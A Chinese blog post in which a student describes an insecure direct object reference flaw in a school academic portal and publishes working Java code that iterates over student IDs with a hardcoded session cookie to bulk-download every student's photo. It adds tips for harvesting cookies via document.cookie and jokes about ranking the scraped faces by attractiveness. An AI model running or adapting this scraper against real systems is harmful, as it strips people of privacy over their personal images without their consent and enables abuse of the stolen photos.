教务网的请求漏洞

  在做一个人脸识别的项目时,需要获取学校教务网上的学生的照片,但是后来我无意中发现学校教务网上的一个安全漏洞,就是在得到自己图片的cookie之后,由于学校的http请求是get请求,并且由于cookie的权限会导致你在持有cookie的情况下可以访问学校任何一个有学号的同学的照片


http的get请求和post请求的区别

  关于这一点,直接把百度的结果粘贴如下:

   GET和POST是Http请求中最常用的两种请求方法:

首先介绍GET与POST的差异:

(1)GET请求资源数据,POST向服务器传递需要处理的数据

(2)GET传递数据大小不超过2kb,POST没有限制

(3)GET请求的参数会在Url上暴露显示,POST请求参数在Requestbody里,所以相对GET来说,POST安全性较高

(4)GET 请求的静态资源会被浏览器缓存,POST不会被缓存

(5)GET传递的数据类型是文本,POST是文本或者二进制

(6)GET请求被回退时是无害的,POST请求被回退是会被重新再执行一次GET和POST的使用场景:

(a)在传递一些机密信息时必须要使用POST
(b)只是查询获取数据时可以用GET
(c)POST请求速率会比GET慢,因为GET请求产生一个TCP数据包;POST请求产生两个TCP数据包



探究过程

  由于get请求的参数会在url暴露显示,我们可以直接更改url上的参数,将学号更改为其他人的学号来获取其他人的照片信息,但是发现这样获取太慢了,就直接写个多线程批量下载照片

import java.io.BufferedInputStream;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileOutputStream;  
import java.io.IOException;
import java.io.InputStream;
import java.net.HttpURLConnection;  
import java.net.URL;  
  
 public class downimage {  
	public static void  downLoadFromUrl(String urlStr,String fileName,String 
	savePath) throws IOException{
	        URL url = new URL(urlStr);  
	        HttpURLConnection conn = (HttpURLConnection)url.openConnection();  
	        conn.setConnectTimeout(3*1000); 
	        System.setProperty("http.proxyHost", "localhost"); 
	        System.setProperty("http.proxyPort", "8888");         
	        conn.setRequestProperty("User-Agent", "Mozilla/4.0 (compatible;
			 MSIE 5.0; Windows NT; DigExt)");
            conn.setRequestProperty("Cookie","semester.id=281;
			 JSESSIONID=8F14338919CEA1334F7E4B558217782D; 
			iPlanetDirectoryPro=vYeKkeVYfd97aWCGmR2lSA");
	        InputStream inputStream = conn.getInputStream();  
	        byte[] getData = readInputStream(inputStream);    
	        File saveDir = new File(savePath);
	        if(!saveDir.exists()){
	            saveDir.mkdir();
	        }
	        File file = new File(saveDir+File.separator+fileName);    
	        FileOutputStream fos = new FileOutputStream(file);     
	        fos.write(getData); 
	        if(fos!=null){
	            fos.close();  
	        }
	        if(inputStream!=null){
	            inputStream.close();
	        }


	        System.out.println("info:"+url+" download success"); 

	    }



	
	public static  byte[] readInputStream(InputStream inputStream) throws 
	IOException {  
	        byte[] buffer = new byte[1024];  
	        int len = 0;  
	        ByteArrayOutputStream bos = new ByteArrayOutputStream();  
	        while((len = inputStream.read(buffer)) != -1) {  
	            bos.write(buffer, 0, len);  
	        }  
	        bos.close();  
	        return bos.toByteArray();  
	    }  

	public static void main(String[] args) throws InterruptedException {
	    	int z=起始学号;
	    	int y = 结束学号;
	    	for (int i=起始学号;i<=v结束学号;i++){
	    	  	String filename=y+".jpg";
	    		String x="网址"+z;//z是学号,由于是get请求
	    		new Thread(new Runnable(){

				@Override
				public void run() {
						// TODO Auto-generated method stub
					 try{
					     downLoadFromUrl(x,
					         filename,"C:/Users/asus/Desktop/pictures");
					            
					        }catch (Exception e) {
					            // TODO: handle exception
					        }
					}
	    			
	    		}).start();
	    		Thread.sleep(2000);
	    		z++;
	    		y++;
	    		
	    	}
	    	
	    }
 }  

  线程休眠2s,之后直接将图片下载到桌面上的文件夹中,理论上你可以下载所有学生的照片,如果外带一个人脸识别接口判断颜值,就能找到校花了

成果

抓取成果:

成果截图
      ps:为保护隐私,给图片打码。

注意

  源代码中cookie是需要你手动获取的,在浏览器中打开图片前f12打开浏览器开发者模式,找到含有sessionid的cookie手动填上去。如果觉得麻烦,这里提供一个思路: 先用账号密码登录官网,然后用document.cookie获取到cookie,然后包装请求头再次发送给服务器,前提是该cookie没有设置httponly。

最后

  本篇博客原创仅供学习交流使用,如用作其他用途所承受的法律责任一概与作者无关。

posted @ 2020-12-19 13:00  DAmarkday  阅读(210)  评论(1编辑  收藏  举报